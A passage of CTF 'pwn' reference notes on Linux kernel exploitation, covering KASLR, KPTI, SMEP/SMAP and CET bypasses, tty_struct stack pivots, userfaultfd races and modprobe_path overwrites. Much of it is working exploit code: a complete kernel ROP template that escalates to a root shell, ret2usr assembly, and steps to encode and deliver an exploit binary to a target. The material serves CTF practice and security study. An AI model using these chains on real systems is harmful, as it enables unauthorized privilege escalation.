writeup variants, continue in [heap-techniques-2.md](heap-techniques-2.md).\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":38048,"content_sha256":"8205defca6f77292f85c3b0aefb8beaf784b861773590c5710d235e4d19470a7"},{"filename":"kernel-bypass.md","content":"# CTF Pwn - Kernel Protection Bypass\n\n## Table of Contents\n- [KASLR and FGKASLR Bypass](#kaslr-and-fgkaslr-bypass)\n - [KASLR Bypass via Stack Leak (hxp CTF 2020)](#kaslr-bypass-via-stack-leak-hxp-ctf-2020)\n - [FGKASLR Bypass (hxp CTF 2020)](#fgkaslr-bypass-hxp-ctf-2020)\n- [KPTI Bypass Methods](#kpti-bypass-methods)\n - [Method 1: swapgs_restore Trampoline](#method-1-swapgs_restore-trampoline)\n - [Method 2: Signal Handler (SIGSEGV)](#method-2-signal-handler-sigsegv)\n - [Method 3: modprobe_path via ROP](#method-3-modprobe_path-via-rop)\n - [Method 4: core_pattern via ROP](#method-4-core_pattern-via-rop)\n- [CET Shadow Stack (SHSTK) and IBT — Signal-Frame Bypass (Wolv / IERAE 2024)](#cet-shadow-stack-shstk-and-ibt--signal-frame-bypass-wolv--ierae-2024)\n- [SMEP / SMAP Bypass](#smep--smap-bypass)\n- [KPTI / SMEP / SMAP Quick Reference](#kpti--smep--smap-quick-reference)\n- [GDB Kernel Module Debugging](#gdb-kernel-module-debugging)\n- [Initramfs and virtio-9p Workflow](#initramfs-and-virtio-9p-workflow)\n- [Finding Symbol Offsets Without CONFIG_KALLSYMS_ALL](#finding-symbol-offsets-without-config_kallsyms_all)\n- [Exploit Templates](#exploit-templates)\n - [Full Kernel ROP Template (SMEP + KPTI)](#full-kernel-rop-template-smep--kpti)\n - [ret2usr Template (No SMEP/SMAP)](#ret2usr-template-no-smepsmap)\n- [Exploit Delivery](#exploit-delivery)\n\n---\n\n## KASLR and FGKASLR Bypass\n\n### KASLR Bypass via Stack Leak (hxp CTF 2020)\n\nLeak a kernel text pointer from the stack to compute the KASLR (Kernel Address Space Layout Randomization) slide:\n\n```c\n// Kernel base without KASLR\n#define KERNEL_BASE 0xffffffff81000000\n\nunsigned long leak[40];\nread(fd, leak, sizeof(leak)); // oversized read from vulnerable module\n\n// leak[38] contains a randomized kernel text pointer\nunsigned long kaslr_offset = (leak[38] & 0xffffffffffff0000) - KERNEL_BASE;\n\n// Apply offset to all addresses\nunsigned long commit_creds_kaslr = commit_creds + kaslr_offset;\nunsigned long pop_rdi_ret_kaslr = pop_rdi_ret + kaslr_offset;\n```\n\n**Other KASLR leak sources:**\n- `/proc/kallsyms` (if `kptr_restrict != 1`)\n- `dmesg` (if `dmesg_restrict != 1`)\n- Kernel oops messages (if oops doesn't panic)\n- UAF reading freed kernel objects containing text pointers\n- `modprobe_path` has 1-byte entropy — brute-forceable with AAW\n\n### FGKASLR Bypass (hxp CTF 2020)\n\nFGKASLR (Function Granular KASLR) randomizes individual functions, but the early `.text` section (up to approximately offset `0x400dc6`) remains at a fixed offset from the kernel base. Gadgets from this range are safe to use.\n\n**Method 1: Use only unaffected `.text` gadgets**\n\n```bash\n# Find gadgets only in the non-randomized range\nropr --no-uniq -R \"^pop rdi; ret;|^swapgs\" ./vmlinux | \\\n awk -F: '{if (strtonum(\"0x\"$1) \u003c 0xffffffff81400dc6) print}'\n```\n\n`swapgs_restore_regs_and_return_to_usermode` is located in the unaffected `.text` section and can be used with only the KASLR base offset.\n\n**Method 2: Resolve randomized functions via `__ksymtab`**\n\n`__ksymtab` entries use relative offsets, not absolute addresses. The `__ksymtab` section itself is not randomized by FG-KASLR:\n\n```c\n// struct kernel_symbol { int value_offset; int name_offset; int namespace_offset; };\n// Real address = &ksymtab_entry + entry.value_offset\n\nunsigned long ksymtab_prepare_kernel_cred = 0xffffffff81f8d4fc; // from /proc/kallsyms\nunsigned long ksymtab_commit_creds = 0xffffffff81f87d90;\n\n// ROP chain to read ksymtab entry and compute real address:\n// 1. Load ksymtab address into rax\npayload[off++] = pop_rax_ret + kaslr_offset;\npayload[off++] = ksymtab_prepare_kernel_cred + kaslr_offset;\n// 2. Read 4-byte relative offset: mov eax, [rax]\npayload[off++] = mov_eax_deref_rax_pop1_ret + kaslr_offset;\npayload[off++] = 0x0;\n// 3. Return to userland to compute: real_addr = ksymtab_addr + kaslr_offset + offset\npayload[off++] = kpti_trampoline + kaslr_offset + 22;\npayload[off++] = 0; payload[off++] = 0;\npayload[off++] = (unsigned long)resolve_and_continue;\n// ...\n\nvoid resolve_and_continue() {\n // eax contains the relative offset read from ksymtab\n unsigned long resolved = ksymtab_prepare_kernel_cred + kaslr_offset + fetched_offset;\n // Now use resolved address in next ROP stage\n}\n```\n\n**Key insight:** FG-KASLR requires a multi-stage exploit: first return to userland to compute resolved addresses from `__ksymtab` offsets, then re-enter the kernel with a second ROP chain using the resolved function addresses.\n\n---\n\n## KPTI Bypass Methods\n\nKPTI (Kernel Page Table Isolation) separates kernel and user page tables. A simple `swapgs; iretq` fails because the user page table is not restored. Four bypass approaches:\n\n### Method 1: swapgs_restore Trampoline\n\nThe kernel function `swapgs_restore_regs_and_return_to_usermode` handles the full KPTI return sequence. Jump to offset +22 to skip the register-restore prologue and land directly at the CR3-swap + `swapgs` + `iretq` sequence:\n\n```c\n// Symbol from /proc/kallsyms or vmlinux\nunsigned long kpti_trampoline = 0xffffffff81200f10;\n\n// In ROP chain, after commit_creds:\npayload[off++] = kpti_trampoline + 22; // skip to mov rdi,rsp; ... swapgs; iretq\npayload[off++] = 0x0; // padding (popped by trampoline)\npayload[off++] = 0x0; // padding\npayload[off++] = user_rip;\npayload[off++] = user_cs;\npayload[off++] = user_rflags;\npayload[off++] = user_sp;\npayload[off++] = user_ss;\n```\n\n**Key insight:** The +22 offset skips the function's register pop/restore sequence and enters directly at the point where it swaps CR3, does `swapgs`, and `iretq`. This offset may vary between kernel versions — verify by disassembling the function.\n\n### Method 2: Signal Handler (SIGSEGV)\n\nRegister a SIGSEGV handler before the exploit. When `iretq` returns without KPTI handling, the page fault triggers SIGSEGV, which the handler catches to spawn a shell:\n\n```c\n#include \u003csignal.h>\n\nvoid spawn_shell() {\n if (getuid() == 0) system(\"/bin/sh\");\n}\n\n// Before exploit:\nstruct sigaction sa;\nsa.sa_handler = spawn_shell;\nsigemptyset(&sa.sa_mask);\nsa.sa_flags = 0;\nsigaction(SIGSEGV, &sa, NULL);\n```\n\nThe ROP chain still calls `commit_creds(prepare_kernel_cred(0))` and does `swapgs; iretq` to userland. Even though the return faults due to wrong page table, the credentials are already committed. The SIGSEGV handler runs with root privileges.\n\n### Method 3: modprobe_path via ROP\n\nInstead of returning to userland, overwrite `modprobe_path` directly from the kernel ROP chain using `pop rax; pop rdi; mov [rdi], rax; ret` gadgets. No KPTI handling needed — the write happens entirely in kernel context.\n\nSee [kernel.md - modprobe_path Overwrite](kernel.md#modprobe_path-overwrite) for the full technique, trigger sequence, and ROP payload.\n\n### Method 4: core_pattern via ROP\n\nSimilar to Method 3 but overwrites `core_pattern` with a pipe command (e.g., `\"|/evil\"`). When any process crashes, the kernel executes the piped program as root.\n\nSee [kernel.md - core_pattern Overwrite](kernel.md#core_pattern-overwrite) for the full technique and how to find the `core_pattern` address.\n\n---\n\n## CET Shadow Stack (SHSTK) and IBT — Signal-Frame Bypass (Wolv / IERAE 2024)\n\n**Protections:**\n- **SHSTK (Shadow Stack):** Hardware shadow stack at `SSP` (shadow stack pointer) — every `CALL` pushes return address to both normal stack and shadow stack; `RET` checks they match. Kernel enforces via `WRSS`/`WRUSS` and `MSR_IA32_PL0_SSP`.\n- **IBT (Indirect Branch Tracking):** Indirect calls/jmps must land on `ENDBR64`.\n\n**Why signal frames bypass SHSTK:** On `sigreturn` / `sigaltstack`, the kernel *restores* the user thread's shadow stack pointer from the signal frame's `xsave` area (`struct sigcontext` + `xsaves`). Userspace controls that frame, so an attacker can set `SSP` to an attacker-controlled shadow stack that contains the ROP return addresses.\n\n**Wolv / IERAE 2024 pattern (used at Pwn2Own / CTF kernel challenges with CET enabled):**\n\n```c\n// 1. Prepare alt signal stack that is also a valid shadow stack\nvoid *shstk_mem = mmap(NULL, 0x2000, PROT_READ|PROT_WRITE,\n MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0);\nunsigned long ssp = (unsigned long)shstk_mem + 0x2000 - 8;\n\n // 2. Mark it as shadow stack (requires CET arch_prctl)\narch_prctl(ARCH_SHSTK_ENABLE, ...); // ARCH_SHSTK_ENABLE = 0x5001; or kernel auto-marks sigaltstack\narch_prctl(ARCH_CET_ALLOC_SHSTK, &ssp);\n\n// 3. Push attacker ROP addresses onto shadow stack (must mirror normal stack)\n*(unsigned long *)ssp = (unsigned long)pop_rdi_ret;\n*(unsigned long *)(ssp - 8) = 0;\n*(unsigned long *)(ssp - 16) = (unsigned long)prepare_kernel_cred;\n\n// 4. Raise signal with controlled sigframe that restores SSP to ssp\nstruct sigaction sa = { .sa_sigaction = handler, .sa_flags = SA_SIGINFO | SA_ONSTACK };\nsigaltstack(&(stack_t){ .ss_sp = shstk_mem, .ss_size = 0x2000, .ss_flags = 0 }, NULL);\nsigaction(SIGUSR1, &sa, NULL);\n\n// handler builds fake sigcontext at its stack:\nvoid handler(int sig, siginfo_t *info, void *ucontext) {\n ucontext_t *uc = (ucontext_t *)ucontext;\n // Overwrite SSP in the saved xsave area that sigreturn will restore\n // On x86-64 cet, SSP is at uc->uc_mcontext.__ssp (or xsaves offset 0x1f8)\n uc->uc_mcontext.__ssp = ssp - 16; // point to our fake shadow stack\n // Also set normal RSP/RIP for the rop chain\n uc->uc_mcontext.gregs[REG_RSP] = (unsigned long)rop_chain;\n uc->uc_mcontext.gregs[REG_RIP] = (unsigned long)pop_rdi_ret;\n}\n\n// 5. Trigger sigreturn — kernel does WRSS to restore SSP from uc->uc_mcontext.__ssp\nraise(SIGUSR1);\n// → sigreturn restores both normal stack and shadow stack to attacker values\n// → RET now succeeds because shadow stack matches normal stack\n```\n\n**Simpler variant — direct `sigreturn` ROP without `arch_prctl`:**\n```python\nfrom pwn import *\n\n# If the exploit already has an arbitrary write to set up a fake signal frame on stack:\nframe = SigreturnFrame()\nframe.rax = constants.SYS_execve\nframe.rdi = binsh_addr\nframe.rsi = 0\nframe.rdx = 0\nframe.rip = syscall_ret\nframe.rsp = normal_rop_addr\n# NOTE: pwntools SigreturnFrame has no ssp field. For CET shadow-stack control,\n# build the raw frame then patch the SSP slot in the xsave area manually, and\n# push a matching shadow-stack ROP pivot so RET pairs with the restored SSP:\nraw = bytearray(bytes(frame))\n# SSP lives in the signal frame's shadow-stack area (bytes 0x1e8-0x200 on\n# CET-aware kernels); overwrite it so the kernel restores a valid SSP on sigreturn\nssp_offset = 0x1e8\nraw[ssp_offset:ssp_offset + 8] = p64(fake_shstk_addr)\n# Mirror the normal-stack ROP chain onto the fake shadow stack so each RET\n# finds the same return address on both stacks\nfake_shstk = flat([pop_rdi_ret, 0, prepare_kernel_cred])\n```\n\n**Key insights:**\n- CET's shadow stack is *not* a barrier if the attacker can trigger a signal — `sigreturn` is a privileged `WRSS` gadget that restores `SSP` from userspace-controlled memory.\n- IBT is bypassed together: signal handler return uses `IRET`, not an indirect `JMP`, so `ENDBR64` is not checked. Once `SSP` is controlled, standard kROP works.\n- On kernels without `ARCH_CET_ALLOC_SHSTK`, the attacker can reuse the existing shadow stack mapping and just overwrite its contents via a prior write primitive, then pivots `SSP` via the signal frame by `SHSTK` offset.\n- Detection: check `cat /proc/cpuinfo | grep cet`, and `rdmsr 0x6a2` (IA32_PL0_SSP) or `arch_prctl(ARCH_CET_STATUS)` — if CET is enabled, any RIP hijack must be paired with shadow stack control.\n\n**References:** Wolv / IERAE — *Bypassing Intel CET with Signal Frames* (2024), Black Hat Asia 2024; kernel patch `x86/cet: handle signal shadow stack`.\n\n## SMEP / SMAP Bypass\n\n**SMEP (Supervisor Mode Execution Prevention):** Blocks executing userland pages from kernel mode.\n- **Bypass:** Use kernel ROP (kROP) chains — all gadgets from kernel `.text`. See [kernel.md - Kernel ROP](kernel.md#kernel-rop-with-prepare_kernel_cred--commit_creds).\n\n**SMAP (Supervisor Mode Access Prevention):** Blocks accessing userland memory from kernel mode.\n- **Bypass:** kROP with heap-resident chain (all data in kernel heap), or `stac`/`clac` gadgets to temporarily disable SMAP.\n\n**Direct CR4 modification (old kernels):** Write to CR4 to clear SMEP/SMAP bits. Blocked on modern kernels by `native_write_cr4()` pinning.\n\n---\n\n## KPTI / SMEP / SMAP Quick Reference\n\n| Protection | Blocks | Bypass |\n|-----------|--------|--------|\n| SMEP | Executing userland pages from kernel | kROP (kernel ROP chain) — see [kernel.md](kernel.md#kernel-rop-with-prepare_kernel_cred--commit_creds) |\n| SMAP | Accessing userland memory from kernel | kROP with heap-resident chain, `stac`/`clac` gadgets |\n| No SMEP/SMAP | (nothing) | [ret2usr](kernel.md#ret2usr-no-smepsmap) — directly call userland privesc function |\n| KPTI | Kernel page table isolation | [Trampoline](#method-1-swapgs_restore-trampoline), [signal handler](#method-2-signal-handler-sigsegv), [modprobe_path](#method-3-modprobe_path-via-rop), [core_pattern](#method-4-core_pattern-via-rop) |\n\nSee [KPTI Bypass Methods](#kpti-bypass-methods) for detailed bypass techniques with code.\n\n---\n\n## GDB Kernel Module Debugging\n\nLoad vulnerable kernel module symbols in GDB for source-level debugging:\n\n```bash\n# 1. Find module load address (as root inside QEMU)\ncat /proc/modules\n# vuln 16384 0 - Live 0xffffffffc0000000 (O)\n\n# 2. In GDB, load module symbols at that address\n(gdb) target remote localhost:1234\n(gdb) add-symbol-file vuln.ko 0xffffffffc0000000\n(gdb) b swrite # breakpoint on module function\n(gdb) c\n\n# 3. Inspect stack after breakpoint hit\n(gdb) x/20xg $rsp-0x90 # examine stack buffer\n(gdb) search \"AAAAAAAA\" # find buffer location (pwndbg)\n```\n\n**Note:** `/proc/modules` requires root to read actual addresses. Non-root users see zeroed addresses. Modify `/init` to keep root for debugging.\n\n---\n\n## Initramfs and virtio-9p Workflow\n\n**Shared directory via virtio-9p** — transfer exploits between host and QEMU without rebuilding initramfs:\n```bash\n# Add to QEMU launch script:\n-fsdev local,security_model=passthrough,id=fsdev0,path=./share \\\n-device virtio-9p-pci,id=fs0,fsdev=fsdev0,mount_tag=hostshare\n\n# Inside QEMU guest (add to /init or run manually):\nmkdir -p /home/ctf && mount -t 9p -o trans=virtio,version=9p2000.L hostshare /home/ctf\n\n# On host, compile exploit into shared directory:\ngcc exploit.c -static -o ./share/exploit\n```\n\n**Extract and modify initramfs:**\n```bash\n# Extract\nmkdir initramfs && cd initramfs\ngzip -dc ../initramfs.cpio.gz | cpio -idmv\n\n# Modify /init for debugging (get root shell instead of unprivileged user)\n# Comment out: exec su -l ctf\n# Add: /bin/sh\n\n# Rebuild\nfind . -print0 | cpio --null -ov --format=newc | gzip -9 > ../initramfs.cpio.gz\n```\n\n**Key modifications to `/init` for debugging:**\n- Comment out `exec su -l ctf` (or similar) to keep root privileges\n- Comment out `echo 1 > /proc/sys/kernel/kptr_restrict` to see `/proc/kallsyms`\n- Comment out `echo 1 > /proc/sys/kernel/dmesg_restrict` to see dmesg\n- Comment out `chmod 400 /proc/kallsyms` to read symbol addresses\n\n---\n\n## Finding Symbol Offsets Without CONFIG_KALLSYMS_ALL\n\n`/proc/kallsyms` only shows `.text` symbols by default. Data symbols like `modprobe_path` and `core_pattern` require `CONFIG_KALLSYMS_ALL=y`.\n\n**Finding modprobe_path:**\n\n```bash\n# 1. Get call_usermodehelper_setup address (always in /proc/kallsyms)\ncat /proc/kallsyms | grep call_usermodehelper_setup\n\n# 2. In GDB, set breakpoint and trigger\nhb *0xffffffff810c8c80\n# Trigger: echo -ne '\\xff\\xff\\xff\\xff' > /tmp/x && chmod +x /tmp/x && /tmp/x\n\n# 3. Check first argument (RDI = modprobe_path)\n(gdb) p/x $rdi\n# 0xffffffff8265ff00\n(gdb) x/s $rdi\n# \"/sbin/modprobe\"\n```\n\n**Finding core_pattern:**\n\n```bash\n# 1. Set breakpoint on override_creds (called by do_coredump)\n# 2. Crash a process: gcc -static -o crash -xc - \u003c\u003c\u003c 'int main(){((void(*)())0)();}'\n# 3. After override_creds returns, disassemble — look for data address in movzx\n```\n\n---\n\n## Exploit Templates\n\n### Full Kernel ROP Template (SMEP + KPTI)\n\nComplete exploit for kernel stack overflow with SMEP and KPTI enabled:\n\n```c\n#include \u003cstdio.h>\n#include \u003cstdlib.h>\n#include \u003cfcntl.h>\n#include \u003cunistd.h>\n#include \u003cstring.h>\n\n// Addresses from vmlinux (apply KASLR offset if needed)\nunsigned long prepare_kernel_cred;\nunsigned long commit_creds;\nunsigned long pop_rdi_ret;\nunsigned long mov_rdi_rax_pop1_ret;\nunsigned long kpti_trampoline;\n\n// Userland state\nunsigned long user_cs, user_ss, user_sp, user_rflags, user_rip;\n\nvoid save_userland_state() {\n __asm__(\".intel_syntax noprefix;\"\n \"mov %[cs], cs;\"\n \"mov %[ss], ss;\"\n \"mov %[sp], rsp;\"\n \"pushf; pop %[rflags];\"\n \".att_syntax;\"\n : [cs] \"=r\"(user_cs), [ss] \"=r\"(user_ss),\n [sp] \"=r\"(user_sp), [rflags] \"=r\"(user_rflags));\n user_rip = (unsigned long)spawn_shell;\n}\n\nvoid spawn_shell() {\n if (getuid() == 0) {\n printf(\"[+] root!\\n\");\n system(\"/bin/sh\");\n } else {\n printf(\"[-] privesc failed\\n\");\n exit(1);\n }\n}\n\nint main() {\n save_userland_state();\n int fd = open(\"/dev/hackme\", O_RDWR);\n\n // Step 1: Leak canary + KASLR base\n unsigned long leak[40];\n read(fd, leak, sizeof(leak));\n unsigned long cookie = leak[16];\n unsigned long kaslr_offset = (leak[38] & 0xffffffffffff0000) - 0xffffffff81000000;\n\n // Step 2: Apply KASLR offset\n prepare_kernel_cred += kaslr_offset;\n commit_creds += kaslr_offset;\n pop_rdi_ret += kaslr_offset;\n mov_rdi_rax_pop1_ret += kaslr_offset;\n kpti_trampoline += kaslr_offset;\n\n // Step 3: Build ROP chain\n unsigned long payload[50];\n int off = 16;\n payload[off++] = cookie;\n payload[off++] = 0; // rbx\n payload[off++] = 0; // r12\n payload[off++] = 0; // rbp\n\n // prepare_kernel_cred(0) → commit_creds(result)\n payload[off++] = pop_rdi_ret;\n payload[off++] = 0;\n payload[off++] = prepare_kernel_cred;\n payload[off++] = mov_rdi_rax_pop1_ret;\n payload[off++] = 0; // pop rbx padding\n payload[off++] = commit_creds;\n\n // KPTI-safe return to userland\n payload[off++] = kpti_trampoline + 22;\n payload[off++] = 0; // padding\n payload[off++] = 0; // padding\n payload[off++] = user_rip;\n payload[off++] = user_cs;\n payload[off++] = user_rflags;\n payload[off++] = user_sp;\n payload[off++] = user_ss;\n\n write(fd, payload, sizeof(payload));\n return 0;\n}\n```\n\n### ret2usr Template (No SMEP/SMAP)\n\n```c\nvoid privesc() {\n __asm__(\".intel_syntax noprefix;\"\n \"movabs rax, %[prepare_kernel_cred];\"\n \"xor rdi, rdi;\"\n \"call rax;\"\n \"mov rdi, rax;\"\n \"movabs rax, %[commit_creds];\"\n \"call rax;\"\n \"swapgs;\"\n \"mov r15, %[user_ss]; push r15;\"\n \"mov r15, %[user_sp]; push r15;\"\n \"mov r15, %[user_rflags]; push r15;\"\n \"mov r15, %[user_cs]; push r15;\"\n \"mov r15, %[user_rip]; push r15;\"\n \"iretq;\"\n \".att_syntax;\"\n : : [prepare_kernel_cred] \"r\"(prepare_kernel_cred),\n [commit_creds] \"r\"(commit_creds),\n [user_ss] \"r\"(user_ss), [user_sp] \"r\"(user_sp),\n [user_rflags] \"r\"(user_rflags),\n [user_cs] \"r\"(user_cs), [user_rip] \"r\"(user_rip));\n}\n```\n\n---\n\n## Exploit Delivery\n\nKernel exploits are typically large static binaries. Minimize size for remote delivery:\n\n```bash\n# 1. Compile with musl-libc (much smaller than glibc)\nmusl-gcc -static -O2 -o exploit exploit.c\n\n# 2. Strip symbols\nstrip exploit\n\n# 3. Compress and encode for transfer\ngzip exploit && base64 exploit.gz > exploit.b64\n\n# 4. On target: decode and decompress\nbase64 -d exploit.b64 | gunzip > /tmp/exploit && chmod +x /tmp/exploit\n\n# Optional: UPX compression (further reduces size)\nupx --best exploit\n```\n\n**Common pitfall:** If the exploit uses `setxattr()` with a file path, ensure the file exists in the remote environment. Local path (`/tmp/exploit`) may differ from remote path (`/home/user/exploit`).\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":20050,"content_sha256":"a06744351787ba70456445b931cd1e63f1526f811285c3492f5c04c1adb71884"},{"filename":"kernel-techniques.md","content":"# CTF Pwn - Kernel Exploitation Techniques\n\n## Table of Contents\n- [tty_struct RIP Hijack and kROP](#tty_struct-rip-hijack-and-krop)\n - [kROP via Fake Vtable on tty_struct](#krop-via-fake-vtable-on-tty_struct)\n - [AAW via ioctl Register Control](#aaw-via-ioctl-register-control)\n- [userfaultfd Race Stabilization](#userfaultfd-race-stabilization)\n - [Alternative Race Techniques (uffd Disabled)](#alternative-race-techniques-uffd-disabled)\n- [SLUB Allocator Internals](#slub-allocator-internals)\n - [Freelist Pointer Hardening](#freelist-pointer-hardening)\n - [Freelist Obfuscation (CONFIG_SLAB_FREELIST_HARDEN)](#freelist-obfuscation-config_slab_freelist_harden)\n- [Leak via Kernel Panic](#leak-via-kernel-panic)\n- [Race Window Extension via MADV_DONTNEED + mprotect (DiceCTF 2026)](#race-window-extension-via-madv_dontneed--mprotect-dicectf-2026)\n- [Cross-Cache Attack via CPU-Split Strategy (DiceCTF 2026)](#cross-cache-attack-via-cpu-split-strategy-dicectf-2026)\n- [PTE Overlap Primitive for File Write (DiceCTF 2026)](#pte-overlap-primitive-for-file-write-dicectf-2026)\n- [Kernel addr_limit Bypass via Failed File Open (Midnight Sun CTF 2018)](#kernel-addr_limit-bypass-via-failed-file-open-midnight-sun-ctf-2018)\n- [Custom binfmt Loader OOB Read + clear_user for Privesc (CONFidence Teaser 2019)](#custom-binfmt-loader-oob-read--clear_user-for-privesc-confidence-teaser-2019)\n\nFor kernel fundamentals (environment setup, heap spray structures, stack overflow, privilege escalation, modprobe_path, core_pattern), see [kernel.md](kernel.md).\n\nFor protection bypass techniques (KASLR, FGKASLR, KPTI, SMEP, SMAP), GDB debugging, initramfs workflow, and exploit templates, see [kernel-bypass.md](kernel-bypass.md).\n\n---\n\n## tty_struct RIP Hijack and kROP\n\n### kROP via Fake Vtable on tty_struct\n\nWith sequential write over `tty_struct` (at least 0x200 bytes), build a two-phase kROP chain entirely within the structure:\n\n```text\ntty_struct layout for kROP:\n +0x00: magic, kref -> 0x5401 (preserve paranoia check)\n +0x08: dev -> addr of `pop rsp` gadget (return addr after `leave`)\n +0x10: driver -> &tty_struct + 0x170 (stack pivot target; must be valid kheap addr)\n +0x18: ops -> &tty_struct + 0x50 (pointer to fake vtable)\n ...\n +0x50: -> fake vtable (0x120 bytes), ioctl entry points to `leave` gadget\n ...\n +0x170: -> actual ROP chain (commit_creds, prepare_kernel_cred, etc.)\n```\n\n**Execution flow:**\n1. `ioctl(ptmx_fd, cmd, arg)` -> `tty_ioctl()` -> paranoia check passes (magic=0x5401)\n2. `tty->ops->ioctl()` -> jumps to `leave` gadget at fake vtable\n3. `leave` = `mov rsp, rbp; pop rbp` -- RBP points to `tty_struct` itself\n4. RSP now points to `tty_struct + 0x08` (the `dev` field)\n5. `ret` to `pop rsp` gadget at `dev`, pops `driver` as new RSP\n6. RSP now at `tty_struct + 0x170` -> actual ROP chain runs\n\n**Key insight:** RBP points to `tty_struct` at the time of the vtable call. The `leave` instruction pivots the stack into the structure itself, enabling a two-phase bootstrap: first `leave` to enter the structure, then `pop rsp` to jump to the ROP chain area.\n\n**Alternative:** The gadget `push rdx; ... pop rsp; ... ret` at a fixed offset in many kernels enables direct stack pivot via `ioctl`'s 3rd argument (RDX is fully controlled):\n\n```c\n// ioctl(fd, cmd, arg) -> RDX = arg (64-bit controlled)\n// Gadget: push rdx; mov ebp, imm; pop rsp; pop r13; pop rbp; ret\n// Effect: RSP = arg -> ROP chain at user-specified address\nioctl(ptmx_fd, 0, (unsigned long)rop_chain_addr);\n```\n\n### AAW via ioctl Register Control\n\nWhen full kROP is not needed, use `tty_struct` for Arbitrary Address Write (AAW) to overwrite `modprobe_path`:\n\nRegister control from `ioctl(fd, cmd, arg)`:\n- `cmd` (32-bit) -> partial control of RBX, RCX, RSI\n- `arg` (64-bit) -> full control of RDX, R8, R12\n\nWrite gadget in fake vtable: `mov DWORD PTR [rdx], esi; ret`\n\n```c\n// Repeated ioctl calls write 4 bytes at a time to modprobe_path\nfor (int i = 0; i \u003c 4; i++) {\n uint32_t val = *(uint32_t*)(\"/tmp/evil.sh\\0\\0\\0\\0\" + i*4);\n ioctl(ptmx_fd, val, modprobe_path_addr + i*4);\n}\n```\n\n---\n\n## userfaultfd Race Stabilization\n\n`userfaultfd` (uffd) makes kernel race conditions deterministic by pausing execution at page faults.\n\n**How it works:**\n1. `mmap()` a region with `MAP_PRIVATE` (no physical pages allocated)\n2. Register the region with `userfaultfd` via `ioctl(UFFDIO_REGISTER)`\n3. When the kernel accesses this region (e.g., during `copy_from_user()`), a page fault occurs\n4. The faulting kernel thread blocks until userspace handles the fault\n5. During the block, the exploit modifies shared state (freeing objects, spraying heap, etc.)\n6. Userspace resolves the fault via `ioctl(UFFDIO_COPY)`, kernel thread resumes\n\n```c\n// Setup\nint uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);\nstruct uffdio_api api = { .api = UFFD_API, .features = 0 };\nioctl(uffd, UFFDIO_API, &api);\n\n// Register mmap'd region\nvoid *region = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE,\n MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);\nstruct uffdio_register reg = {\n .range = { .start = (unsigned long)region, .len = 0x1000 },\n .mode = UFFDIO_REGISTER_MODE_MISSING\n};\nioctl(uffd, UFFDIO_REGISTER, ®);\n\n// Fault handler thread\nvoid *handler(void *arg) {\n struct pollfd pfd = { .fd = uffd, .events = POLLIN };\n while (poll(&pfd, 1, -1) > 0) {\n struct uffd_msg msg;\n read(uffd, &msg, sizeof(msg));\n // >>> RACE WINDOW: kernel thread is paused \u003c\u003c\u003c\n // Free target object, spray heap, etc.\n\n // Resolve fault to resume kernel\n struct uffdio_copy copy = {\n .dst = msg.arg.pagefault.address & ~0xFFF,\n .src = (unsigned long)src_page,\n .len = 0x1000\n };\n ioctl(uffd, UFFDIO_COPY, ©);\n }\n}\n```\n\n**Split object over two pages:** Place a kernel object so it spans a page boundary. The first page is normal; the second triggers uffd. The kernel processes the first half, then blocks on the second half -- the race window occurs mid-operation.\n\n### Alternative Race Techniques (uffd Disabled)\n\nWhen `CONFIG_USERFAULTFD` is disabled or uffd is restricted to root:\n\n1. **Large `copy_from_user()` buffer:** Pass an enormous buffer to slow down the copy operation, widening the race window\n2. **CPU pinning + heavy syscalls:** Pin racing threads to the same core; use heavy kernel functions to extend the timing window\n3. **Repeated attempts:** Pure race without stabilization -- run exploit in a loop. Success rate varies (1% to 50% depending on timing)\n4. **TSC-based timing (Context Conservation):** Loop checking TSC (Time Stamp Counter) before entering the critical section to confirm execution is at the beginning of its CFS timeslice -- reduces scheduler preemption during the race\n\n---\n\n## SLUB Allocator Internals\n\n### Freelist Pointer Hardening\n\nSince kernel 5.7+, free pointers in SLUB objects are placed in the **middle** of the object (word-aligned), not at offset 0:\n\n```c\n// From mm/slub.c\nif (freepointer_area > sizeof(void *)) {\n s->offset = ALIGN(freepointer_area / 2, sizeof(void *));\n}\n```\n\n**Impact:** Simple buffer overflows from the start of a freed chunk cannot reach the free pointer. Underflows from adjacent chunks may still work.\n\n### Freelist Obfuscation (CONFIG_SLAB_FREELIST_HARDEN)\n\nWhen enabled, free pointers are XOR-obfuscated with a per-cache random value:\n\n```text\nstored_ptr = real_ptr ^ kmem_cache->random\n```\n\n**Detection:** In GDB, find `kmem_cache_cpu` (via `$GS_BASE + kmem_cache.cpu_slab` offset), follow the `freelist` pointer, and check if the stored values look like valid kernel addresses. If not, obfuscation is active.\n\n---\n\n## Leak via Kernel Panic\n\nWhen KASLR is disabled (or layout is known) and the kernel uses `initramfs`:\n\n```nasm\njmp &flag ; jump to the address of the flag file content in memory\n```\n\nThe kernel panics and the panic message includes the faulting instruction bytes in the `CODE` section -- these bytes are the flag content.\n\n**Prerequisites:** No KASLR (or full layout knowledge), `initramfs` (flag is loaded into kernel memory), RIP control.\n\n---\n\n## Race Window Extension via MADV_DONTNEED + mprotect (DiceCTF 2026)\n\n**Pattern (cornelslop):** Kernel module has a TOCTOU race between check and delete paths, but the window is too narrow to hit reliably. Extend the race window from milliseconds to dozens of seconds by forcing repeated page faults during the long-running kernel operation.\n\n**Technique:**\n1. Map memory used by the kernel check operation (e.g., `sha256_va_range()` reading userland pages)\n2. From a second thread, loop `MADV_DONTNEED` (drops page table entries) + `mprotect()` (toggles permissions)\n3. Each fault during the kernel's hash computation forces VMA lock acquisition and page fault handling\n4. The kernel operation stalls repeatedly, keeping the race window open\n\n```c\n// Thread 1: trigger the vulnerable CHECK ioctl (long-running hash)\nioctl(fd, CHECK_ENTRY, &entry);\n\n// Thread 2: extend race window by forcing repeated faults\nwhile (racing) {\n madvise(buf, PAGE_SIZE, MADV_DONTNEED); // drop PTE\n mprotect(buf, PAGE_SIZE, PROT_READ); // force fault on next access\n mprotect(buf, PAGE_SIZE, PROT_READ | PROT_WRITE); // restore\n}\n\n// Thread 3: trigger the concurrent DEL ioctl\nioctl(fd, DEL_ENTRY, &entry); // races with CHECK path\n```\n\n**Key insight:** `MADV_DONTNEED` drops page table entries without freeing the underlying pages. When the kernel next accesses that 